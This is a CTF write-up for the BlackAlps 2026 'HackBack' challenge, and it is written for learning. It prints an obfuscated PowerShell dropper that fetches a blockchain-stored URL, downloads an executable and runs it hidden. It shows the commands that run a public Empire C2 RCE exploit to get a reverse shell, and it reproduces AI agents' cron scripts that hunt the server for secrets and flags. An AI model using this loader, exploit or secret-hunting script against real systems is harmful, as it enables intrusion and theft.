HackBack

miscreblockchainc2empireblackalps2026

Intro

I have solved this challenge without using any AI/LLM tools. In the end, I managed to get first blood on this one against the heavily agentic competition, which I am very proud of.

Discovery

We get a .lnk file as well as a password protected flag.txt.age. According to the chall description, a victim was compromised and the flag encrypted. We have to “Hack back” and take over the attackers C2 infra. Cool!

Looking through the link file, we can find base64 encoded PowerShell code:

${xiUP76}  = [typE]('n'+'et.s'+'eRVICePO'+'INtMAN'+'AGer') ;
${xNF}=[TyPe]('N'+'Et.Sec'+'uR'+'ItyPRot'+'oCo'+'lTyP'+'E');  ${kvq13O}=[TYpe]('CO'+'Nv'+'eRT');
sV Mp6fn ([TYpe]('teXt'+'.'+'enCODING'))  ;
SEt-iTEM  vARiable:cw4X2  ( [tYPe]('IO.'+'pAtH') ) ;
${RPc}      = ('https://eth'+'ereum-'+'s'+'epolia'+'-rpc.pu'+'blicnode'+'.c'+'om')
${CoNTRAcT} = ('0xC4BdA0'+'97Db'+'C'+'F'+'60'+'C7d0Cf4B0a2'+'5'+'D13'+'b4f1f'+'9'+'D'+'7b69')
${KEY}   = ('48118b107bb4'+'b53f'+'b7d2'+'c4'+'80ca'+'9'+'c27'+'9c'+'c'+'d'+'448'+'47c'+'7b83e'+'9075de2a663476'+'4b2e'+'b')

function HexToBytes([string]${H}) {
    for (${I} = 0; ${i} -lt ${h}.lEngTh; ${I} += 2) {  (Get-ChildItem vAriAbLe:KVq13o  ).valUE::toByTE(${h}.SUbstrIng(${I}, 2), 16) }
}

 (Get-ChildItem  ("VaR"+"I"+"ab"+"LE:XiUP"+"76") ).VALue::SeCUrItyProtoCOl =  ${xNF}::TLs12

${bODY} = '{{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{{"to":"{0}","data":"0x6d4ce63c"}},"latest"]}}' -f ${COnTRAcT}
${Json} = &('I'+'nvo'+'ke-We'+'bR'+'eq'+'uest') -UseBasicParsing -Method Post -ContentType ('a'+'ppli'+'c'+'at'+'ion/json') -Body ${BOdy} -Uri ${RPC}
${H} = (${JSOn}.cONTEnT | &('Convert'+'Fr'+'om-Js'+'o'+'n')).RESuLT
if (-not ${H}) { ${JsOn}.CoNTenT; return }
${H} = ${h}.substring(2)

${LEN} =  (Get-ChildItem VaRiAbLE:KVQ13o  ).vaLUE::tOInT64(${H}.SubStrING(64, 64), 16)
${B64} =  ${mP6FN}::uTf8.geTstrINg([byte[]](&('He'+'x'+'ToBytes') (${H}.suBSTRiNg(128, 2 * ${LEn}))))

${C} =  (Get-ChildItem  VAriaBLE:kVQ13o).VALUe::FrOMbAse64sTrING(${B64}.TRim())
${k} = [byte[]](&('HexT'+'oB'+'ytes') ${KeY})
${URl} =   ${mp6fn}::UTF8.GETSTRinG([byte[]](0..(${C}.lEngth - 1) | &('Fo'+'rE'+'ac'+'h'+'-Object') { ${c}[${_}] -bxor ${k}[${_} % 32] }))

${PrOgresSprefeREncE} = ('Si'+'l'+'e'+'ntly'+'Con'+'tinue')
${fiLE} = &('J'+'oi'+'n-P'+'ath') ( ${CW4x2}::gETTeMPpaTH()) ( ${CW4x2}::geTrandomfILEnaME() -replace ((('LTt.'+'[^.]'+'+lZh')-RepLAcE 'lZh',[cHaR]36  -RepLAcE  'LTt',[cHaR]92)), ('.'+'exe'))
&('Inv'+'ok'+'e-WebR'+'equest') -UseBasicParsing -Uri ${URl} -OutFile ${file}
&('S'+'ta'+'r'+'t-Process') -FilePath ${fiLE} -WindowStyle Hidden

This code downloads some information from the Ethereum Sepolia Test Blockchain network via a public API call gateway: https://ethereum-sepolia-rpc.publicnode.com.

The call is made to function 0x6d4ce63c at address 0xC4BdA097DbCF60C7d0Cf4B0a25D13b4f1f9D7b69. More details about this contract can be found on EtherScan.

The function 0x6d4ce63c is called get() in the VM bytecode. We can take a quick look at that here in a more readable form by using an EVM bytecode compiler.

We also see that the PowerShell code XOR decrypts data retrieved from this API call with the hardcoded key in the link file (hex):

48118b107bb4b53fb7d2c480ca9c279ccd44847c7b83e9075de2a6634764b2eb

However, trying to use this key against current values from the contract fails. Looking around the modifications of the contract or other function calls, we can see two Update() calls:

The arguments passed to the Update() functions are, respectively:

IGX/YAiOmhDCoqDhvvkK8qI28BQc4p1ic4bDTSQQ1MUqfepzENXZT8T8p+jlpRCp9He8Tkzl2zc415cFdlyA2yomsiND
IGX/YEGbmlHYoLDorf1T+eAs6xEerYpzO8zEDyYH2YokYfg+GNyPB4fq9K//rhCl+iewSk2w3TVoh5FUJl2L3XB3u3NU+uZGxIe05KvoQrKoPOE=

We can now use CyberChef to try to decrypt these strings using the hardcoded key from the PowerShell. Doing so, we get a link to download the actual payload: http://northgate-home.ctf.blackalps.ch:8080/52797c4663425e77a9968f0c/NSysUpdate.exe

Step 2: Reversing the implant binary

With the NSysUpdate.exe payload now downloaded and imported in Ghidra, we can start reversing the binary to find more clues. It is a compiled Go binary, which has symbol names still included!

  gopire/comms::gopire/comms.PacketHandler.BuildRoutingPacket(self);
  a1.len = 7;
  a1.str = "/stage2";
  a0.len = 0x2b;
  a0.str = "http://north-msys-up.ctf.blackalps.ch:39173";
  local_1c8 = extraout_RBX_01;
  local_1c0 = extraout_RCX_01;
  local_190 = extraout_RAX_01;
  sVar9 = runtime::runtime.concatstring2((runtime.tmpBuf *)0x0,a0,a1);
  local_1b8 = sVar9.len;
  local_188 = sVar9.str;
  pbVar2 = runtime::runtime.newobject(&bytes::bytes.Reader___Struct_type.Type);
  (pbVar2->s).len = local_1c8;
  (pbVar2->s).cap = local_1c0;
  (pbVar2->s).array = local_190;
  pbVar2->i = 0;
  pbVar2->prevRune = -1;
  net/http::net/http.(*Client).Post((net/http.Client *)PTR_DAT_009a77a0);
  prVar3 = runtime::runtime.makemap_small();
  local_c0 = (unsafe.Pointer)
             gopire/comms::gopire/comms.NewHttpMessageSender
                       ("http://north-msys-up.ctf.blackalps.ch:39173",0x2b,prVar3,
                        "/media/ba996893.php,/content/34b4ebeb.php,/upload/116f3550.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
                        ,0x83);
  local_180 = local_128;

We can see the callback URLs of the C2 profile compiled in, as well as references to gopire, the Go build of the Empire C2 framework!

Step 3: Pwning the C2 server

After enumerating the C2 infra a bit without success, I searched for known CVEs of the Empire C2 and got two results:

CVE-2024-6127 sounds interesting, since it is an unauthenticated RCE. Let’s try it!

git clone https://github.com/ACE-Responder/Empire-C2-RCE-PoC
cd Empire-C2-RCE-PoC
python3 -m venv venc
source venv/bin/activate
python3 ./rotj.py 'http://north-msys-up.ctf.blackalps.ch:39173' 10.26.64.245 4444

We get a promising output from the exploit script:

Recovered staging key  b'e+:DnERkvaS=Xl6MqQBV9)j8Y;_2FzHL'

Step 4: Profit!

Shortly after, we get a reverse shell!

root@92b87709ac77:~# ls
ls
Empire
empire
victims.csv
root@92b87709ac77:~# cat victims.csv
cat victims.csv
hostname,ip,os,arch,first_seen,status,encryption_key
dc01.corp.internal,10.0.0.10,Windows Server 2019,amd64,2025-11-03,owned,amber-coral-lilac-anchor
fin-ws-02.corp.internal,10.0.2.14,Windows 11 Pro,amd64,2025-12-19,owned,nectar-walnut-raven-cactus
hr-laptop-07.corp.internal,10.0.2.31,Ubuntu 22.04 LTS,amd64,2026-01-08,dead,velvet-lotus-ivory-autumn
git-prod-01.corp.internal,10.0.3.7,Debian 11,amd64,2026-01-22,owned,ginger-harbor-ember-ginger
mail-relay-02.corp.internal,10.0.3.21,RHEL 8,amd64,2026-02-02,owned,lotus-lantern-ribbon-velvet
nas-01.corp.internal,10.0.4.2,Synology DSM 7.2,amd64,2026-02-17,owned,falcon-quiver-zephyr-paddle
jump-host-01.corp.internal,10.0.0.77,Ubuntu 20.04 LTS,amd64,2026-03-05,dead,birch-oasis-lilac-ribbon
web-prod-03.corp.internal,10.0.3.44,Debian 12,amd64,2026-03-26,owned,umber-marlin-jade-moss
ceo-laptop-01.corp.internal,10.0.2.5,macOS 14.4,arm64,2026-04-11,pending,verbena-azure-kayak-otter
backup-01.corp.internal,10.0.4.9,Windows Server 2022,amd64,2026-05-02,owned,umber-azure-paddle-basil

We get a list of victims and encryption keys! Now, I just have to try each one, one by one. And then, finally, I got lucky and got the flag:

age --decrypt flag.txt.age # falcon-quiver-zephyr-paddle
BA26{4ggr3551v3_p1v071ng}

Step 5: Looking at AI agent artifacts present on the C2 server

With RCE on the server, it was very obvious that the AI agents have found the code execution bug before me. But, they didn’t seem to be able to use an interactive terminal session and relied upon creating cron jobs for every step of their enum, looking for the flag, or for encryption keys. The following is an excerpt of AI agent command execution results:

===CROND===
total 44
drwxr-xr-x 1 root root 4096 Nov  6 19:50 .
drwxr-xr-x 1 root root 4096 Nov  6 08:27 ..
-rw-r--r-- 1 root root  102 Mar  2  2023 .placeholder
-rw-r--r-- 1 root root   11 Nov  6 19:46 ctf2_ISCK8IXB
-rw-r--r-- 1 root root   51 Nov  6 19:43 ctf3_EJVFBAUG
-rw-r--r-- 1 root root  327 Nov  6 19:46 ctf3_YBFVPXCX
-rw-r--r-- 1 root root  134 Nov  6 19:48 ctf4_P1MWYHTR
-rw-r--r-- 1 root root  249 Nov  6 19:49 ctf5_E0LFBRUE
-rw-r--r-- 1 root root  254 Nov  6 19:50 ctf6_UB0PZ5EC
-rw-r--r-- 1 root root  224 Nov  6 19:39 ctf_0UN3NR5U
-rw-r--r-- 1 root root  201 Mar  5  2023 e2scrub_all
===SCRIPT===
#!/bin/sh
T=$(find / -type f -name default.html -path '*listeners/templates*' 2>/dev/null | head -1)
if [ -z "$T" ]; then T=/tmp/ctf_out_EJVFBAUG; fi
{
echo "===WHOAMI==="; id; hostname; pwd
echo "===ROOT==="; ls -la / 2>/dev/null
echo "===ROOTDIRS==="; ls -la /root /app /opt /home /srv /data /var/lib 2>/dev/null
echo "===CWD LS==="; ls -la . 2>/dev/null
echo "===ENV==="; env 2>/dev/null
echo "===FILES==="; find / -xdev \( -iname '*flag*' -o -iname '*pass*' -o -iname '*age*' -o -iname '*ransom*' -o -iname '*.db' -o -iname '*.sqlite*' \) -not -path '/proc/*' -not -path '/sys/*' -not -path '/usr/share/*' -not -path '/usr/lib/*' 2>/dev/null
echo "===GREP==="; grep -RIna --exclude-dir=proc --exclude-dir=sys --exclude-dir=dev --exclude='*.pyc' --exclude='*.so' -E 'age-encryption|AGE-SECRET|passphrase|flag\{|FLAG\{|blackalps|northgate' /root /app /opt /home /srv /data /var/lib /tmp 2>/dev/null | head -200
echo "===DOWNLOADS==="; find / -xdev -type d -name downloads -not -path '/proc/*' 2>/dev/null | while read d; do echo "-- $d"; ls -la "$d" 2>/dev/null; find "$d" -maxdepth 3 -type f -size -1M 2>/dev/null | while read f; do echo "--FILE $f"; head -c 2000 "$f" 2>/dev/null; echo; done; done
echo "===DBSTRINGS==="; find / -xdev -type f \( -iname '*.db' -o -iname '*.sqlite*' \) -not -path '/proc/*' -not -path '/sys/*' -not -path '/usr/*' 2>/dev/null | while read f; do echo "--DB $f"; strings "$f" 2>/dev/null | grep -iE 'flag|pass|age|secret|ransom|northgate|blackalps' | head -50; done
} > "$T" 2>/dev/null
===END===
===END===
===ID===
uid=0(root) gid=0(root) groups=0(root)
92b87709ac77
/root
===LSROOT===

At the end of the CTF, the agentic setups didn’t manage to solve the challenge, which is interesting to me. The encryption_keys are in the victims.csv. There is only one step left to do, and that step is arguably not the most complicated one in the chain of steps needed to solve the challenge.